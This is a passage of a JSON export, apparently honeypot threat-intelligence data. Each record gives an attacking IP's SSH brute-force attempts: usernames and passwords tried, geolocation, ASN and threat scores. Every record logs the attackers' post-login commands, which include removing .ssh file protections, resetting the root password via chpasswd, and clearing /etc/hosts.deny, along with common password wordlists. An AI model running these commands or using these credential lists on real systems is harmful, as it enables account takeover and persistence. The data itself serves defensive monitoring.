      "first_seen": "2026-04-16T16:58:39.896Z",
      "last_seen": "2026-04-16T17:43:16.410Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "pbsworksuser",
        "ubuntu",
        "admin",
        "develop",
        "icp",
        "linux",
        "odoo15",
        "odoouser",
        "oracle",
        "prtg",
        "richard",
        "test"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "1qaz@WSX",
        "1qq2w3e4r5t",
        "@aA123456",
        "Abc@123..",
        "Admin888.",
        "BBzz111",
        "Hy123456@",
        "Oracle13!",
        "Root11111#",
        "aa123456-",
        "aaa123456789",
        "admin123456789@123",
        "admin2025!",
        "icp",
        "pbsworksuser",
        "prtg123",
        "root"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1qaz@WSX\\nUR8grsHt7f4U\\nUR8grsHt7f4U\\n\"|passwd",
        "echo \"pbsworksuser\\nqJiqR877Eqdx\\nqJiqR877Eqdx\\n\"|passwd",
        "echo -e \"1qaz@WSX\\nUR8grsHt7f4U\\nUR8grsHt7f4U\"|passwd|bash",
        "echo -e \"pbsworksuser\\nqJiqR877Eqdx\\nqJiqR877Eqdx\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 20.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 330,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T16:58:39.896000+00:00",
        "last_seen_30d": "2026-04-16T17:44:19.741000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 263,
        "Suricata": 67
      }
    },
    "152.32.171.251": {
      "attack_count": 261,
      "first_seen": "2026-04-19T10:29:36.414Z",
      "last_seen": "2026-04-19T11:10:50.395Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ali",
        "postgres",
        "steam",
        "admin",
        "ben",
        "deploy",
        "game",
        "misha",
        "teamspeak2",
        "test",
        "ubuntu",
        "user",
        "work"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "000000",
        "123456",
        "123456789",
        "123456qwe!",
        "202520",
        "Admin!@#$",
        "Admin1234567@#",
        "Ali16!",
        "Ali22!",
        "Cs123456789",
        "O123456",
        "Password123!@",
        "QWERTYUIO1234567",
        "Qazwsx888#",
        "Root321#",
        "Sh123456",
        "Test.123",
        "User23"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:MseH8pZXR5o7\"|chpasswd|bash",
        "echo \"root:TVlLX40UQCIc\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 24.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 326,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T10:29:36.414000+00:00",
        "last_seen_30d": "2026-04-19T11:11:55.996000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 261,
        "Suricata": 65
      }
    },
    "81.211.72.167": {
      "attack_count": 261,
      "first_seen": "2026-04-12T10:04:38.363Z",
      "last_seen": "2026-04-29T12:27:52.192Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "odoo",
        "zte",
        "dev",
        "jason",
        "jrodriguez",
        "test",
        "test1",
        "ubuntu",
        "username",
        "vncuser",
        "xx"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "123456",
        "123456A",
        "1q2w3ezxc",
        "A123456798",
        "Kp123456",
        "Odoo123456",
        "P@ssw0rdz5",
        "Test2025!",
        "Welcome123",
        "Wu123456",
        "Yz123456",
        "abc123",
        "ccQQ111",
        "dev10",
        "jason123",
        "qazwsx111111$",
        "qazwsx2021@123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Odoo123456\\nN470Q9Nzc7Te\\nN470Q9Nzc7Te\\n\"|passwd",
        "echo \"zte\\nkgKyYErTPxmI\\nkgKyYErTPxmI\\n\"|passwd",
        "echo -e \"Odoo123456\\nN470Q9Nzc7Te\\nN470Q9Nzc7Te\"|passwd|bash",
        "echo -e \"zte\\nkgKyYErTPxmI\\nkgKyYErTPxmI\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 3216,
      "as_org": "PVimpelCom",
      "threat_score": 50.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 25.2,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 330,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T10:04:38.363000+00:00",
        "last_seen_30d": "2026-04-29T12:29:05.673000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 261,
        "Suricata": 69
      }
    },
    "190.181.15.62": {
      "attack_count": 236,
      "first_seen": "2026-04-02T17:37:13.884Z",
      "last_seen": "2026-04-02T18:48:59.808Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123123abc.",
        "123@India",
        "7qvt6t2738",
        "Lg!123456",
        "Mihai2024",
        "Qweasd",
        "Yh123456",
        "Ys@123456789",
        "ZXC123",
        "a1234567@",
        "dai",
        "ics",
        "marshal",
        "onlyidc123789+",
        "p@SSw0rd",
        "password12345",
        "qwert!@#123",
        "sofia"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:mmwTCvaZrTsM\"|chpasswd|bash",
        "echo \"root:uPxkjFNn7OBc\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Bolivia",
      "country_code": "BO",
      "city": "La Paz",
      "asn": 26210,
      "as_org": "AXS Bolivia S. A.",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 295,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T17:37:13.884000+00:00",
        "last_seen_30d": "2026-04-02T18:50:00.477000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 59
      }
    },
    "192.67.197.201": {
      "attack_count": 236,
      "first_seen": "2026-04-27T03:11:31.662Z",
      "last_seen": "2026-04-27T03:40:01.058Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "oroot"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@#QWE123qwe",
        "0racle123",
        "1234.abcABC",
        "1qa2ws",
        "Abc12345",
        "Electronic@123",
        "RootUser@2024",
        "Virtual@123",
        "abc_123456",
        "action863467",
        "cnview.com.c1",
        "dabU",
        "kafka",
        "oroot",
        "p@ssw0rdp@ssw0rd",
        "qwe55555",
        "tarzan",
        "test3333"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:7rm9UDwgBYmO\"|chpasswd|bash",
        "echo \"root:T9hBtIC0lIAm\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 8560,
      "as_org": "IONOS SE",
      "threat_score": 33.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T03:11:31.662000+00:00",
        "last_seen_30d": "2026-04-27T03:41:09.174000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 53
      }
    },
    "185.249.74.198": {
      "attack_count": 219,
      "first_seen": "2026-04-30T13:43:06.045Z",
      "last_seen": "2026-04-30T14:30:50.322Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "admin",
        "test",
        "345gs5662d34",
        "administrator",
        "ali",
        "dstserver",
        "ftpuser",
        "ftpuser1",
        "git",
        "kafka",
        "passadmin",
        "server",
        "test6",
        "vmadmin"
      ],
      "passwords_attempted": [
        "123456",
        "!qaz2wsx",
        "111111",
        "112233",
        "12345678",
        "123qwe@",
        "1q2w3e",
        "1qaz2wsx",
        "1qazxsw2",
        "3245gs5662d34",
        "345gs5662d34",
        "Abc.123456",
        "Pa$$w0rd",
        "Welcome123",
        "abcdef",
        "admin@2016",
        "admin@2023",
        "admindb",
        "changeme",
        "hipchat"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"abcdef\\nCDVSppdO14kb\\nCDVSppdO14kb\\n\"|passwd",
        "echo -e \"abcdef\\nCDVSppdO14kb\\nCDVSppdO14kb\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Austria",
      "country_code": "AT",
      "city": null,
      "asn": 8560,
      "as_org": "IONOS SE",
      "threat_score": 37.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 290,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T13:43:06.045000+00:00",
        "last_seen_30d": "2026-04-30T14:31:59.721000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 71
      }
    },
    "57.128.212.198": {
      "attack_count": 198,
      "first_seen": "2026-04-21T20:30:20.825Z",
      "last_seen": "2026-04-21T20:53:07.698Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "deploy",
        "ubuntu",
        "345gs5662d34",
        "admin1234",
        "bot",
        "ivan",
        "kamera",
        "nico",
        "postgres",
        "sammy",
        "test",
        "uatuser",
        "user01",
        "zhongwen"
      ],
      "passwords_attempted": [
        "123",
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "Bot!@",
        "Info@123",
        "King@123",
        "P@ssw0rd@123",
        "Password",
        "Root000.",
        "Sammy14!",
        "Zaq@12345",
        "admin1234",
        "asd123asd",
        "frappe!123",
        "kamera",
        "nico@123",
        "qaz123...",
        "qwerty123456",
        "qwertyui12"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:gSIq8SqKMqVk\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Poland",
      "country_code": "PL",
      "city": "Warsaw",
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 25.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 259,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T20:30:20.825000+00:00",
        "last_seen_30d": "2026-04-21T20:54:08.047000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 198,
        "Suricata": 61
      }
    },
    "191.101.59.100": {
      "attack_count": 194,
      "first_seen": "2026-04-17T17:57:19.390Z",
      "last_seen": "2026-04-17T18:59:24.986Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "test",
        "ubuntu",
        "345gs5662d34",
        "bot",
        "csuser",
        "deploy",
        "judith",
        "postgres",
        "salim",
        "tempuser",
        "tester",
        "user",
        "user2",
        "wilson"
      ],
      "passwords_attempted": [
        "12345678",
        "!1qaz@2wsx",
        "1234-qwerty",
        "123456",
        "2wsx@WSX",
        "3245gs5662d34",
        "345gs5662d34",
        "CDtianrun888",
        "Frappe03!",
        "Postgres19",
        "Qazwsx888!",
        "Root4321@123",
        "Test4",
        "User!@",
        "ZAQ!2wsx2023$",
        "a123456jD",
        "aa111111",
        "adm1n",
        "bot4",
        "csuser"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"test2026\\nK4Ynx9gBhNMs\\nK4Ynx9gBhNMs\\n\"|passwd",
        "echo -e \"test2026\\nK4Ynx9gBhNMs\\nK4Ynx9gBhNMs\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "City of London",
      "asn": 42831,
      "as_org": "UK Dedicated Servers Limited",
      "threat_score": 21.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 262,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T17:57:19.390000+00:00",
        "last_seen_30d": "2026-04-17T19:00:34.484000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 194,
        "Suricata": 68
      }
    },
    "101.36.124.127": {
      "attack_count": 193,
      "first_seen": "2026-04-08T06:24:34.250Z",
      "last_seen": "2026-04-08T07:04:20.314Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "frappe",
        "ubuntu",
        "345gs5662d34",
        "dc",
        "deploy",
        "distro",
        "postgres",
        "sammy",
        "shiva",
        "test",
        "xyh"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin123@#",
        "CCqq111",
        "Frappe04!",
        "Huawei@123",
        "P@ssw0rd123",
        "Qazwsx000!@#",
        "Qazwsx2018#$",
        "Qwert11111",
        "Ubuntu29!",
        "Zf123456",
        "a123456*",
        "a123456A",
        "aaaa123456",
        "aq12wsde34rf",
        "distro",
        "frappe1234",
        "postgrespassword"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:4kksplExEMuh\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 9.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 254,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T06:24:34.250000+00:00",
        "last_seen_30d": "2026-04-08T07:05:23.719000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 61
      }
    },
    "112.219.104.42": {
      "attack_count": 191,
      "first_seen": "2026-04-28T16:46:29.996Z",
      "last_seen": "2026-04-28T17:29:53.641Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "bitnami",
        "dev",
        "test01"
      ],
      "passwords_attempted": [
        "123qwez",
        "1qazxsw2@123",
        "3245gs5662d34",
        "345gs5662d34",
        "48554855",
        "9ijnbhu8",
        "@Dmin123",
        "ASDFasdf1234",
        "Abc@2025",
        "Admin007",
        "Cn123456",
        "Support!2025",
        "Vps",
        "abc123--",
        "bitnami1234",
        "cloud23",
        "dev1234",
        "dev@2024",
        "fair",
        "h123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:H8w77bcSz4s3\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Nowon-gu",
      "asn": 3786,
      "as_org": "LG DACOM Corporation",
      "threat_score": 34.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 251,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T16:46:29.996000+00:00",
        "last_seen_30d": "2026-04-28T17:31:00.666000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 191,
        "Suricata": 60
      }
    },
    "147.50.103.212": {
      "attack_count": 168,
      "first_seen": "2026-04-27T14:28:20.339Z",
      "last_seen": "2026-04-27T15:21:16.678Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "root4"
      ],
      "passwords_attempted": [
        "0pl,(OKM",
        "1234$qwer",
        "3245gs5662d34",
        "345gs5662d34",
        "Abc1234567890",
        "Iso4144.",
        "Pass@word!@#456",
        "Qwe.123",
        "ROOT!@123",
        "beaver",
        "ces3rvice",
        "hduser!@",
        "root!Q@W#E",
        "root1!@#123",
        "root4123",
        "rootts",
        "run",
        "servidor",
        "toor:",
        "visual"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:wZYaaTRMcG9O\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": null,
      "asn": 45458,
      "as_org": "SBN-ISPAWN-ISP and SBN-NIXAWN-NIX",
      "threat_score": 32.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 217,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T14:28:20.339000+00:00",
        "last_seen_30d": "2026-04-27T15:22:19.760000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 49
      }
    },
    "154.144.225.226": {
      "attack_count": 117,
      "first_seen": "2026-04-17T21:15:31.277Z",
      "last_seen": "2026-04-26T14:18:43.527Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "bot",
        "jenkins",
        "peuser",
        "sammy",
        "server",
        "test_user"
